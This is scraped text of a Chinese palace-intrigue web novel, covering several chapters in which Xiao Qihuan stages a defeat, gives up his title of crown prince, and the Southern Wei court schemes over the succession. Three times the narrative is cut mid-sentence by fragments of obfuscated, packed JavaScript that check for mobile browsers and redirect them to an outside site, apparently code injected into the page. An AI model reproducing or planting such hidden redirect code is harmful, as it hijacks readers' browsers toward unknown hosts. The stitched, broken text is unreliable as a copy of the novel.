萧祺桓笑着没有再说话,他摆了摆手掀开帐帘走出去,迎面而来的风吹得他一激灵,崔擎舟想要来送,萧祺桓一句“留步”止住了他的动作。 “明日,敬安山见。” 崔擎舟望着萧祺桓离开的背影,心中有一股没由来的悲哀。 萧祺桓当真是这南魏最该做皇帝的,可偏偏他没有家世,没有依仗,就如同他的外祖父薛磐一样,明珠蒙尘,草草半生。 这世道臣民难做,皇帝也难做,怕只要是个人就难活。 第二日清晨,天光破晓时分,崔擎舟带着三万啸龙营将士沿计划踏上广梁平原最北处,顺着长城的走向装模作样地往敬安山挺进。 等到依稀可见东亭军旗时,崔擎舟抬手止住大部队,用右手示意右翼突击。 这三千人是崔擎舟临时组起来死士,多半是征兵时主动来参军的年轻人,崔擎舟舍不得,可也没有其他办法了。 他为了不让江阮觉得自己是提前知道了这一切,便让那些士兵全被装备了最好的铠甲,就连骑的马都比寻常人高些,也权当是让他们在死前风光一次。 崔擎舟有时候觉得可笑,他们费尽心思要救下萧祺桓,要付出的代价却是这些寻常人家的孩子。他们在纸上谈兵,可这些兵都是活生生的人,是会流血会死的人,谁说人和人都一样的? “崔将军,”崔擎舟身侧走过来一个看上去不满二十的兵士,他看到崔擎舟时腼腆一笑,继续道,“您答应我的一定要做到啊。” 崔擎舟重重点头,不自觉地撇过头不敢看他,只听那年轻人如呓语般又道:“我们家就一个小妹了,您一定不能让她入了风尘,一定不能。” 说着,兵士像是意识到自己失态了,忙向朝崔擎舟行了个军礼,再抬头时灿烂地朝崔擎舟一笑。 “全体都有,全速前进廊州淮安门。” 崔擎舟不敢细想刚才那个笑容,他深吸一口气策马扬鞭跑到队伍最前头,他身后的副将远远朝他鞠了一躬,小声念叨着“您一定要平安回来”。 另一侧的昌安营,陆栖野昨晚一夜没合眼,等今早看到萧祺桓时松了一口气。他问崔擎舟是什么反应,萧祺桓只道崔将军应了,一切按照新计划进行。 “他可有怀疑?” 萧祺桓知道陆栖野指的是陈京观,他摇摇头道:“没有,我只提到了萧祺栩,崔将军便没有再往下问了。崔将军不是个多事的人,陈频那次出事给他最大的教训就是不要问任何自己不该问的事情。” 陆栖野点了点头,他招手让檞枳过来,“一切都准备好了?三条路上的人都到了吗?” “到了,明日迷津会在半途进入崔将军的队伍,以确保他的安全。殿下这里有我,少主只要负责全盘部署就好。” 陆栖野“嗯”了一声,放下手上的地图看着檞枳,“一定要活着回来。” 檞枳低着头缓缓摇着脑袋,可陆栖野像是着了魔一般逼他看着自己,“一定,要活着回来。” “一定。” 檞枳目光闪烁,站在二人身边的萧祺桓不自在地侧身看着的佩剑。 那是陈京观来时送给他的,他认得出,是萧霖一直带着的那把,也是萧祺桓想要却又从未敢说出口的情愫。 “多谢少主和檞统领不弃,我虽失了太子位,可若两位在南魏有用得着我萧祺桓的地方,我自当效犬马之劳。” 萧祺桓紧紧握拳躬身行礼,他知道这件事让陆栖野身上背了多少担子。 …… 那日陆栖野送萧祺桓上了去啸龙营的马车,转身上马朝相反方向去了,到澄州的时候元焕还在朝会,陆栖野本来是见不到他的,可陆晁难得一见上了朝,元焕看到他的时候就明白是陆栖野有事。 元焕草草结束了那日的早朝,就连几个大臣明里暗里相争丞相之位的事也没有过多理会,他一进书房就看到陆栖野捧着他放在书桌上的书看着。 听见内侍喊了一声“皇上到”,陆栖野转身朝元焕行礼,“陛下万安。” “怎么急着回来了?是萧祺桓有问题?” 陆栖野摇头,“我是来请命的,望陛下准我参与廊州一战。” 元焕没有立刻回复,他走过去上下打量着陆栖野,道:“怎么,打仗真的让人上瘾?此战是我在试探萧祺桓,你不会不知道。你若是出面,无论成败朝臣都要记你一笔,你又是何苦。” “所以陛下也觉得此战会败?” 陆栖野敏锐地察觉到元焕话里的意思,元焕饶有兴趣地回望着:“我是对你太好了吗?刚让你们全家官复原职,你就蹬鼻子上脸?我的圣旨何时需要陆将军的意思了?” “臣不敢,”陆栖野绷直腰背,高昂头颅道:“我知道陛下是为了我好,不想让我再经历一次朔州役,可这次不一样,南魏输是肯定要输,但我们北梁能赢。” 闻言,元焕悄然勾起嘴角,陆栖野见他没有要打断自己的意思,就继续道:“我前些日子查清楚了,东亭能如此轻易打下阙州,里面有萧祺枫的功劳。如今萧祺桓带兵外战,若能让他在战中死于非命,萧祺枫将对南魏皇位唾手可得,这样的机会他万不会错过。” 陆栖野瞧见元焕脸色一凝,他知道元焕想到了元煜,他们之前就有猜测,若江阮能把手伸到元家,那未必不能伸到萧家。果不其然,萧祺枫就是他的对象。 “可萧祺桓死,我并不在意,甚至说比起萧祺枫,若是萧祺桓即位,他将对我北梁有更大威胁。” 元焕微微侧身瞠着陆栖野,陆栖野点头应了他的意思,却又开口反驳道:“可若让萧祺枫顺利即位,那南魏实际掌权的就是崇宁,陛下当真觉得她会是很好的对手吗?” 元焕沉默不语,他无数次听元衡提起过这个女人,平日对什么都毫不在意的元衡在提起她时语气里却有一丝怨怼,他说若没有崇宁,或许他也不用借江阮这把刀来灭了南魏。 “可即便你此次保下萧祺桓,你又怎么能保证他还有能力和萧祺枫斗?他们的家世本就不对等,只要萧霖争不过崇宁,萧祺桓就不可能争得过萧祺枫。” “那就让崇宁先放弃这个傀儡。” 陆栖野把陈京观告诉他的话一字不差地说给元焕,他说完后元焕沉默了小半刻,陆栖野以为元焕还会和自己再辩个几回合,却听到他说:“那就依你,后果自负。” 陆栖野松了一口气,笑着应道:“定不辜负陛下圣恩。” 说着,陆栖野就要往外走,可他又突然止住步子,“陛下,您怎么突然就改变主意了?” “要不我反悔?” 元焕眼含笑意盯着陆栖野,陆栖野忙道:“我这就走!” “因为是你,是你们陆家,我信你们。” 陆栖野前进的步子顿了顿,他鼻尖微微一酸,这次他没有转身,元焕只听到他嘀咕了一句:“我们也没有选错主子。” ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276576|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧祺桓的话止住了眼前两人依依惜别的情绪,陆栖野伸手抬住萧祺桓行礼的手,微微一笑道:“天下人苦战乱久矣,只要能除掉江阮这个搅屎棍,至少我们还能回到表面和平的时候。殿下不用多想,我也是为了北梁。” 萧祺桓缓缓点头,外面的兵士报了一声一切都准备就绪了,陆栖野松开了托着萧祺桓的手,将自己腰侧的刀“唰”的一声拔了出来,伴着影影绰绰的灯光,一道萧瑟的冷意从刀身折射到陆栖野脸上。 “这样的败仗,我打一次少一次。” 说罢,陆栖野将刀重新收入鞘中,帐内三人鱼贯而出。萧祺桓由檞枳带着去寻此战出征的队伍,陆栖野则招呼着自己的随从沿着小路抄近道去了敬安山北侧。 这一战打得如同敬安山一般沉默,后来人提到只笑着说萧祺桓败得“速战速决”。 跟着他出去的啸龙营损失八千人,三千先锋军遇到敌军大部队突袭全部阵亡,后续支援部队增援不利导致东亭军快速拿下了据点,啸龙营只得回撤。 寥寥数语,是萧祺桓呈给萧霖的军报。 “太子殿下出师不利,致使我军死伤惨重,军心涣散,近些时日怕是再凑不齐能打仗的兵咯。” “崔将军还守在广梁呢?还不如让他也一同回朝,这军饷都是从百姓嘴里克扣出来的,拿了人家的银子不做事,我们怎么向百姓交代?” “是说呢,怕是太子殿下刚有了兵权还不太知道怎么带兵,许是再输上几次,就学会了?不过这太子之位若当真要用人头堆砌,宸妃娘娘贤良淑德的名声怕就要坏咯。” 萧祺桓跪在大殿中央,坐在堂前的萧霖看着他亲手送上来的战报,他瞥了一眼那些说风凉话的大臣,无意间看到周原任满脸得意的模样,不自觉攥紧了手里的纸。 “周大人,看您的样子是也想来踩上两脚?您不必忍着,毕竟你背后有靠山,他们不过都是依仗您。” “陛下所言臣惶恐至极啊!” 周原任说着跑上前跪倒萧祺桓身边,按理说他作为臣要比萧祺桓的位置靠后些,可他硬生生贴着萧祺桓给萧霖叩首道:“臣一心为南魏社稷,躬耕工部三十余载,得仰皇恩才能有今日,皇上才是微臣的靠山。” 萧霖冷笑一声,将手上的军报扔给一旁的内侍,“念,一字不差地念。” 内侍咽了咽口水,开始读那上面的字。萧祺桓没有对战情有丝毫隐瞒,只从他的军报上来看,他当得起带兵不利这四个字。 “都听到了?诸位说得没错,太子第一仗就打成这样,是该罚!” 萧霖今日特准了薛磐上殿,他此时缩在文臣的最后一排,萧霖说完朝他的方向看去,只瞧见一个低着头沉默不语的老人全力将自己隐在人群中。 萧霖嘴角微微抽动,终究还是没有让薛磐也出来裹乱。他看着眼前的周原任,微微朝前探身道:“那周大人觉得,我要怎么处置太子才算对得起百姓?” 周原任嗯嗯啊啊半天吐不出一个字,他身后几个伥鬼便成了他的嘴。 “毕竟是第一次领兵,依臣愚见……” “儿臣自愿削去太子之位,还位于天。” 跪在中央一动不动的萧祺桓突然开口,他的话止住了堂上的冷嘲热讽,却引起七嘴八舌的议论。 萧祺桓没有在意这些声音,也没有在意萧霖猛地皱起的眉头,继续道:“此外,还请陛下准我往槐州历练,往后三年俸禄全用作军饷和难民安置。功不成,不还京。” “好一句‘功不成,不还京’。” 萧霖语气里难得带上了明显的讽刺,旁人都知道萧霖宠爱萧祺桓,这恐怕是他第一次对萧祺桓说重话。 “行,我随了你的愿。”萧霖冷笑一声,“薛磐,带着你的这个好外孙滚回槐州去!” 133.合纵连横(八) 萧霖在堂会上发了那么大的火,萧祺桓以为他这辈子也不会想要见自己了,可早朝后他跟在薛磐身后往外走,萧霖的身边的内侍却叫住了他。 薛磐看了一眼内侍,内侍微微笑着朝他点头,薛磐也没再说什么,仰了仰头示意萧祺桓跟着去。 “我先去找你母妃,等会你来给她请辞。这一走,不知道何时才能再见了。”薛磐抬手捏了捏萧祺桓的肩膀。 当萧祺桓将一切计划说与他听时,薛磐就料想到会有这一日,他们薛家是这南魏历史上无足轻重的一粒沙,可萧家姐弟偏偏在不同时刻选中了他们。 如今萧祺桓自请去槐州,他说这番话时薛磐一直关注着萧霖的表情,他脸上错愕和失望的情绪正如薛磐当年去槐州时他所表现出来的一样,萧霖第二次被薛家人扔下了。 萧祺桓点了点头,努力向薛磐扯出一个不让他担心的表情,内侍在一旁催了催,萧祺桓只得深吸一口气跟在他后面走了。 等到萧霖的书房时,萧祺桓看到满地狼藉和跪在地上瑟瑟发抖的宫女,她抬头瞥了一眼萧祺桓,怯懦地道了一句“太子殿下安”。 “他不是太子了。叫他兴安王。” 萧霖出声时那宫女身子一震,忙改口叫了一句“兴安王”。萧祺桓摆手让跟在身后的内侍带她下去,自己转身关上了书房的门。 “谢陛下成全,臣余生必为‘兴安’二字奔走。” 萧霖转身,脸上嘲讽的意味不言而喻,萧祺桓毕恭毕敬地躬腰伏在他面前,他向来在礼数上让人挑不出错来,即便是此时也依旧得体妥当。 “你就这么急着要与我划清界限,是觉得我作为南魏皇帝,作为你的父亲,保不住你吗?” 萧祺桓没有说话,萧霖冷笑一声继续道:“是,我是间接害死萧祺栩的凶手,可我这么多年对你如何,哪一点能挑出错来?萧祺桓,你如今逃了,你可就真将我一个人丢下了。” 萧霖越说气息越弱,今年的冬日他是熬过去了,可体力明显大不如前。如不是为此,他也不能如此仓促地将萧祺桓推出来,可有其父必有其子,萧祺桓抽身得毫不犹豫。 “可我也是为了活命,我有错吗?” 萧祺桓望着萧霖好几次想要开口却只是微微张嘴,他轻笑一声继续道:“元焕是个聪明人,他一早就知道江阮不会善罢甘休,也不会轻易让我拿走廊州,所以他让我带兵不过是为了试试父亲对此战的决心。我的死,在他眼中无足轻重,那在您眼中呢?您用的是‘保’,所以您也觉得我凶多吉少。那我若是真的中了东亭军的埋伏,被抬着来见您,您还会质问我吗?” “父亲,您若是真的为我好,就不该将我置身险境再想着如何去救我。” 萧祺桓一语中的,他没有陷入萧霖为他布下的父子情深的牢笼,他从来都对自己与萧霖之间的关系看得很透彻。 若说萧霖在这世界上还有什么是在乎的,那就只有他自己,除此以外的所有人在他眼里都不过是君臣。 萧祺桓见萧霖说不出话,他不自觉挑眉道:“事到如今,您最想知道的不该是我为什么改变了计划,又是什么让元焕改变了计划吗?父亲,我早就过了会因为被辜负而感到失望的年纪了,我二十四岁了。” 萧祺桓除了那一封军报外没有再对萧霖透露任何内情,无论是萧祺桓还是陈京观他都只字未提,他也说不上自己到底在提防什么,可他觉得此事知道的人越少越好,就连萧霖也不例外。 萧祺桓的话彻底堵住了萧霖的嘴,萧霖原本为他准备的那一套父为子纲,君为臣纲的说辞不攻自破,他不动声色间咬紧牙关,抬头望着不知何时竟比自己还要高一些的萧祺桓。 “有些话我点不破,我也没有立场点破,我相信那些人尽皆知的秘密您不是不知道,您只是装傻。这次我领兵去廊州,为何崔将军的军营里会出现姑姑的人?对于姑姑,对于萧祺枫,您又了解多少?” 萧祺桓顿了顿继续道:“您觉得一定要置我于死地的人,当真是江阮吗?” 见萧霖神色间有一丝慌张,萧祺桓不知为何突然觉得眼眶底层浮起波澜,他微微仰头眨着眼睛,将那些说不清道不明的情愫倒灌回了自己内心深处。 “所以我方才一句都没错,你知道我真正的危险是姑姑,是萧祺枫。姑姑她并不是一定要我死,她是一定要让太子死,她是一定要让挡了她的路的人死。是您将我推到那个位置上去的。” “可你当真没有想过这皇位吗?” 萧霖反问道,萧祺桓诚实地点了点头,可随即他又落寞地低下头道:“可我坐不上去的。南魏是姓萧不假,可南魏是世家的天下,姑姑这么多年的营算,就算您如今如她唱反调,您动得了她的根基吗?” “看看如今在您身边的人,关策是被您亲手抄家的,莫汝安实质上是被温大人一手拉起来的小吏,甄大人稍微有些背景,可远比不上在阙州盘踞多年的大家。您为什么选中他们?”萧祺桓无奈地摇头道,“这不是和当年姑姑选中薛大人一样?毫无根基的人最好用。” 萧霖被萧祺桓点破了心思,他恍然明白站在自己面前的早就不是那个半人高的稚童了。 薛雯昭从来不求萧祺桓能写出名贯古今的政文,她教给萧祺桓的都是如何在和深宫活下去的本事,是识人脸色,通人心肠的本事。 “您在这皇位二十余载尚且如此,我又凭何与姑姑争?父亲,”萧祺桓笑着看向萧霖,“您这辈子,可有真的快乐过,哪怕一次?母亲总说我与您很像,可我不想过您的人生。” 萧祺桓目光闪烁,眼中晶莹呼之欲出。萧霖不知何时已经一步步退无可退,他斜倚在墙边,如同一只被人剪断了绳索的木偶,四肢随意垂摆着。 萧霖也说不上是难过还是讶异,可萧祺桓最后那句话捅穿了他的心肺,他感觉喉咙里涌出来不再是空气,而是自己为数不多残留于世的灵魂。 “至于元焕为何改变了主意,”萧祺桓深吸一口气继续道,“您可以当作是他不想让自己的昌安营白白送死,亦或者他想救了我给您卖个人情。总归结果是好的,没了我您也依旧和北梁是盟友,您权当这是儿子能为您做的最后一件事。” 萧祺桓说完顿身行礼,萧霖直起身看着他头也不回地走出自己的书房。 方才萧祺桓的话彻底戳破了萧霖这么多年自以为掩饰地很好的虚假的父爱,萧霖知道自己此生恐怕再也不会与萧祺桓见面了。 萧霖在听到那句“功不成,不还京”的时候原本以为是萧祺桓在为自己的失败赌气,可他现在知道了,这句话是萧祺桓专门送给自己的。 他说,我们再也不要见面了。 萧霖挣扎着扶墙而起,腰背的痛楚让他不禁倒吸一口凉气,他望着这偌大的房间,眼前只剩下满地狼藉和空无一人的寂静,他笑了,拳头却也慢慢握了起来。 突然,萧霖双眼变得浑浊,他眉间的愁云没有消散,渐渐凝结成恍惚间的顿悟。 萧祺桓的话乍一听是没什么问题,前半段是他痛彻心扉的斥父,后半段是他大彻大悟的释然,可为什么萧祺桓会在提到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287334|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崇宁的时候连带着好几次提到萧祺枫? 这棋盘上的执棋者才值得被铭记,萧祺枫,为什么会出现? “我真正的危险,是萧祺枫。” 萧霖又想到了萧祺桓的这一句话,如若只是因为他二人都是这太子之位的人选,萧祺枫还不足以让萧祺桓认为他是个危险,那是什么让他感觉到了萧祺枫的危险? “有些话我点不破……对于萧祺枫您又了解多少”,以及萧祺桓囫囵吞枣似的将元焕的选择解释成简单的怜悯,萧霖越想越觉得萧祺桓刚才所说的每一句话都值得他反复推敲。 越想,萧霖心中的疑云就越积越多。他相信萧祺桓有洞察人心的能力,他本就不似表面那般平庸,可短短一个月时间,萧祺桓当真能在兵荒马乱的同时将一切理清? 他周遭除却崔擎舟没有几个能入萧霖眼的,就连崔擎舟,萧霖也只是觉得他刻板,好拿捏,他万不可能替萧祺桓出谋划策。 是薛磐吗?可他本就对崇宁看得很清楚,他要是想提点萧祺桓,大可以从一开始就阻拦他,不让他带兵。而且薛磐对于萧祺枫应当不知道什么,他离开阙州的时候萧祺枫还未出生。 还有一点,这个人好像也很了解元焕,甚至是江阮。他知道元焕在乎什么,他会被什么打动,他也知道江阮在此中所处的位置。 萧霖愣了片刻,他心里有一个名字,可他已经死了。 一瞬间脊背发凉的感觉将萧霖拉回现实,与此同时,萧霖被自己的警惕逗笑了。他倏忽间发觉,竟然连和萧祺桓说话他都如此小心翼翼。 这样的人生他过了二十年,怪不得萧祺桓说他不想要这样的人生。 “来人,去叫甄符止。” 萧霖朝门外喊道,守在书房外的内侍应了一声仓皇地朝外走,只是没走两步就在台前看到了等着的甄符止。 “甄大人您来的正好,皇上叫呢,请吧。” …… 一千公里外,霜栽的信由灵谍马不停蹄地送进了未央宫,江阮朝站在一旁的晏离鸿招手,晏离鸿接过信与他一同看。 “怎么样,这回你信他还活着吗?” 江阮眉眼微挑,上次廊州城外史家父子尸身被人劫走时,他同晏离鸿说过自己的猜测,晏离鸿沉默了片刻只说了一句不可能,而今萧祺桓安然无恙回到盛州,就连晏离鸿也动摇了。 “可他藏在哪?西芥?” 江阮轻佻地耸了耸肩没有说话,晏离鸿又看了一遍信上的内容,脸色沉了三分。 “他是怎么知道这一切的?他如今不敢动用南魏朝廷的关系了,他凭什么这么确定萧祺枫有问题?他又是怎么将你和萧祺枫扯上关系的?” “我记得我和你说过一句话,”江阮伸手拿走了晏离鸿手里的信,他怔怔望着眼前,“我之所以要对陈京观快刀斩乱麻,是因为他会成长,他会长成我杀不掉的人。你瞧,初见雏形。” 江阮嘴角微微勾起一抹笑,可那笑在晏离鸿眼中却异常刺眼。 “如果萧祺桓背后的人真的是他,那你该恭喜他,他终于找到了在这世界安身立命的本事,终于丢掉了他毫无用处的同情心。他猜到我会利用萧祺枫,我并不意外,我意外的是他逼着萧祺桓放弃了皇位,这可是从前的陈京观绝对不会做的。” “他想做皇帝?” 江阮摇头道:“不会,那一句句少将军都够他受的了,皇帝要受人三叩九拜,他不会做的。” “那他费尽心机图什么?” 江阮莞尔一笑,“我也想知道。 134.吊民伐罪(一) 盛州行宫的书房里,甄符止刚推开门就瞧见满地狼藉,他一边走一边将散落在地上的书捡起来,他拍书的声音不大不小,正巧能让萧霖注意到他的到来。 萧霖听着这突如其来的响动,晃神间转身望着甄符止,叹气道,“甄大人走路怎的像猫一样?” “许是陛下的心思全在别处,所以才没有注意到臣来了。” 甄符止挂着和煦的微笑,将手上的书垒成一摞放在萧霖的书桌上,他经过萧霖时微微侧身瞄了他一眼,瞧见他脸上的表情后笑意渐浓。 “陛下这是怎么了,和兴安王聊得不好?” 萧霖压住了甄符止手上的动作,“是不是所有人都以为我是让他去送死的?为什么就没有一个人相信我?他问我要的是三万兵,我给了他所有能动的七万人,这都不足以让他明白我的心意吗?” 甄符止没有说话,他瞧见萧霖方才给萧祺桓写册封诏书时用的笔尚且湿润,便探身将笔拿起来递到萧霖面前,萧霖不解地望着他。 “您是要立萧祺桁为太子,还是萧祺枫?这个位子一日不定,您就还没有能喘息的机会。” 萧霖没有接笔,他抬头看着甄符止,向后退了一步,“甄大人今日是来逼我的?” 甄符止摇头道:“不是。可我进屋时瞧着陛下应当也是有所怀疑了,兴安王背后出现了一股势力,如今是敌是友尚未可知,您需要早做打算。” “那你的意思呢?” 甄符止微微挑眉,“立储之事事关天命,臣不敢妄言。” “甄符止,”萧霖厉声道,“你是来看我笑话的还是来落尽下石的?你来得这么快,证明你一直在外面站着,为什么不进来?萧祺桓的话你都听见了?” 甄符止毫不掩饰地点头,“对,臣立于窗外听得一清二楚,没想到今生有幸还能被桓殿下提及。” 萧霖侧身睨了甄符止一眼,甄符止敛了敛笑意,抬手将笔立在笔托上,躬身道:“桓殿下所说当然有赌气的成分,可陛下听进去了多少?他说枫殿下的话,您认为呢?” 萧霖摇了摇头,说实话在萧祺桓提到萧祺枫之前,萧霖甚至快要忘记自己还有这个儿子了。 萧祺枫从小被养在崇宁宫里,萧霖一年也去不了一次,萧祺枫与他不亲近,他也觉得萧祺枫碍眼。 萧霖知道萧祺枫一直是自己的替代品,是崇宁一心一意雕刻出来的木偶,可这也已经是他对萧祺枫的所有认识了。萧祺枫如今多高了,他喜欢什么不喜欢什么,萧霖都不知道。 萧祺桓乍一下提到萧祺枫,那一刻萧霖在心里找了好久属于萧祺枫的影子,到最后只剩下周湘生产后抱着萧祺枫的那个画面。 可就是这样一个自己一无所知,也从来没觉得能成大器的儿子,他勾结了敌国君主,意图弑兄,而一切还是他一个人的主意,直到现在萧霖仍觉得恍惚。 “恕臣斗胆,”甄符止见萧霖一直不说话,又开口道,“或许您如今还没想好要怎么处理他,可是若您再立太子的诏书上仍没有他的名字,你觉得他会善罢甘休吗?” 甄符止话音刚落,门口内侍一句“长公主到”便止住了二人的对话。 “臣先告退。” “甄大人也在?那一同听听吧,免得皇上等会儿听完我的话还要让您再跑一趟。” 崇宁轻蔑地撇了撇嘴,跟在她身后内侍退出去的时候识相地将房门关上。 “你要立萧祺桓,我没拦你,可你的好太子做了什么?你们拿了我募起来的七万兵马,跑到廊州去耀武扬威了一番,然后灰溜溜地逃了回来。萧霖,这就是你的本事吗?” 崇宁说话时趾高气昂地绕着面前的两个人转,萧霖和甄符止趁机交换眼神,二人心中不约而同产生一个想法。 如若不是崇宁的演技太好,那就是萧祺桓说得是真的,这次啸龙营的埋伏完全由萧祺枫主导,崇宁对此毫不知情。 “如今七万人出去,还剩六万人留守广梁,这兵权你要是还想贪,可以,但是太子必须要立萧祺枫。” “不行。” 萧霖的回答斩钉截铁,甄符止也没有料想到方才还犹豫不决的萧霖突然变了一副模样,他看到萧霖缓缓走到崇宁面前,那双眼睛死死盯着崇宁,像是要将崇宁的一切都看透。 “立储之事不宜操之过急。如今我们有了和北梁的盟约,现在的重中之重应是如何利用这份盟约与北梁合力围剿东亭,而不是在这里内斗。” “呵,”崇宁冷笑一声,“现在知道不要内斗了?当初阙州你可是说放弃就放弃了,你怎么没想着将兵权让出来,我自会派崔擎舟去守。” “我们失了阙州,却用江阮的一篇文章得了北梁的助力,不划算吗?” 萧霖和崇宁针尖对麦芒似的对峙,你一言我一语谁也没有想要退让半步。甄符止在一旁缓缓朝后退,他观察着崇宁的一举一动,他越发觉得崇宁确实被萧祺枫骗了。 那既然萧祺桓背后的人知道了真相,又为什么没有直接来找崇宁谈条件?甄符止脑中突然闪过一个念头,他觉得有一张针对崇宁的大网正悬在他们头上。 萧祺桓是崇宁一直以来的将军棋,如今却成了躲在背后的那个人借力打力的目标,崇宁甚至没有一步子下错,却即将迎来一个满盘皆输的局面。 可萧祺桓这步棋,那个人到底要怎么用? 甄符止突然叹气,他面前的两个人闻声都转头看他,甄符止像是察觉到了他们的目光,挂着笑脸迎上去道:“两位所愿都是南魏能够重回中兴,不过是方法不同。我觉得陛下说得没错,上次立储是为了选出个合适的人出使北梁才仓促行事,这次可万不能如此。至于殿下的话,臣觉得也没错,当初阙州一役我们拿城中百姓做了垫脚石,确实是下策。” “甄大人果然会说话,怎么过去没见您这么中肯过?” 崇宁瞪了甄符止一眼,稍后退了一步与萧霖隔了些距离,甄符止低头轻笑道:“臣的确愚笨,过去年少轻率,不知深浅,突然得了圣恩只知道要牢牢抓住这来之不易的恩典,却未真正替南魏考虑过。是臣之失,还请殿下责罚。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292482|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我哪儿敢罚你?你可是陛下心尖的人。” 崇宁驳了甄符止一句,脸上的气却也慢慢平了下来。 萧霖最开始没有立刻明白甄符止这番动作的意思,到了现在后知后觉体会到了一些,他轻咳一声对崇宁说:“长公主的意思我都知道了,可我绝不是朝令夕改之人,萧祺枫还做不了太子。不过要是姐姐有意拿回兵权,可以,不过能不能等我办完这场春狩?我还指望着借着春狩显一显我南魏国威。” 萧霖的话半推半就,崇宁盯着他许久,最后撂下一句,“若是枫儿能在春狩夺魁,你最好就势封他为太子。不然春狩一结束,我会让崔擎舟带兵杀回阙州,到时候皇位上坐的是谁我说了算。” 萧霖笑着点了点头,崇宁像是没想到他会这么轻易就松口,临走时她回头看了一眼屋内的一君一臣,眼神有些许不解。 “甄大人是发现了什么?” 崇宁一走,萧霖立刻换上不苟言笑的表情,甄符止点头道:“方才长公主话里话外都在谴责桓殿下带兵不利,你是知道她的,如果那真的她与东亭联手布下的陷阱,她不会是这语气和情态。” “是,她会恨不得踩在我脸上嘲笑我。” 萧霖轻蔑地笑着,又无奈地摇头道:“她直到最后都还在为萧祺枫夺那个太子位,就为了能让他清清白白当上皇帝,她这般用心良苦萧祺枫却一点都不知道珍惜。” 萧霖是与崇宁撕破脸了,可崇宁如今为萧祺枫做的一切,她都曾为萧霖做过。萧霖一想到崇宁今日面红耳赤是在为一个背叛她的人说话,他觉得既可笑又可悲。 “只是我们现在还不知道那个人会怎么用萧祺枫,所以我们还得等等。” 萧霖点头应许着甄符止的话,可又侧过身与他对视道:“你的意思我知道,可我不想等了,我想赌一把。” 甄符止从萧霖的眼睛里看到不知名的情绪,他将它解读成了引蛇出洞,萧霖却将它解读成了孤注一掷。 “这次春狩,我要好好同他相处相处。小二十年了,我竟还不知道他狩猎时喜欢骑什么马,是喜欢打兔子还是猎鹰。” 萧霖笑着长叹一口气,甄符止望见他眼底的情绪不知何时消散了,转而是不可名状的慈祥,甄符止心里暗嘲了一句,嘴上却道了“是”。 “甄大人是觉得我虚伪?” 或许是做君臣久了,明明萧霖没有看甄符止,可他瞬间洞悉了甄符止的心声。甄符止笑着应:“不会,皇上是南魏百姓的君父,哪里能懂得每一个臣子的心思。” “臣子,”萧霖又重复了一遍,“是啊,我将这世间最牢固的血脉至亲变成了若即若离的君臣之情,所以我活该不被信任。” 甄符止还没想好要怎么回话,又听到萧霖说道:“他们父子俩是为数不多信过我的,却都得了不得好死的下场,我又有什么脸面再求我自己的儿子能信我一次。” 所以,哪怕只有一点可能,在萧祺桓身后的人真的是你,我也愿意赌。 就权当是我最后再帮你一次吧。 135.吊民伐罪(二) 四月初三,阙州在战乱中刚刚得以喘息,在所有人都以为萧霖今年不会举行春狩的时候,他一封信叫回了崔擎舟,让他带一万兵马回来组织狩猎。 他这一举像是要将世人口中的昏君之名坐实,就好像他的军队本就是为了供他取乐游玩所设,南魏臣民的生死他全然不在乎。 萧霖没有理会连天送上来的折子,他等着崔擎舟初八到了狩场,便大张旗鼓地带了所有王公贵族一起从盛州出发,临走前他还下了一道诏书,所有能来的人都务必要到场。 那一日,盛州的长街上除却络绎不绝要出城的马车,一个百姓也看不到。 萧霖用手挑了一个缝隙,透着那微弱的光望着车外,崔擎舟骑马跟在他的车驾旁,看到他伸出手便迎了过来。 “皇上,可有吩咐?” 萧霖摇头道:“没事,就是再看一眼盛州城,来的时候月黑风高,到了又终日憋在那行宫里,今日好不容易寻到个机会出来,让我多看两眼吧。” 崔擎舟默声朝后退了一步,为萧霖将窗外的视野空出来,马车里的人不知道想到了什么,探出脑袋问道:“狩场的戒备都安排好了?” “啸龙营围了整个狩场,不会出差错的。” 萧霖点了点头没有再说话,这条路出城的路不算远,出了城再走二十里就是皇家狩场,往年他们从阙州出发要走三五天,今日怕是赶天黑就能到。 萧霖收了手将帘子放下,他对面坐着周湘,以及萧祺枫。他看了看萧祺枫,最开始他被安排自己一辆马车,萧霖让司礼局不用给他备了,他要同萧祺枫一起走。 此时,车内的三人相对无言,周湘抬头看了看萧霖,试探地捏了捏儿子的手,萧祺枫如梦初醒般动了动身子,瞧见萧霖正目不转睛地看着自己。 “父亲,是有什么事吗?” 萧霖笑着摇头,周湘手上的动作却依旧没停,萧祺枫不自觉皱起眉头。他不是个腼腆的人,可他和萧霖真的说不上熟络,又碍着君臣父子的关系,他甚至找不到能寒暄的话头。 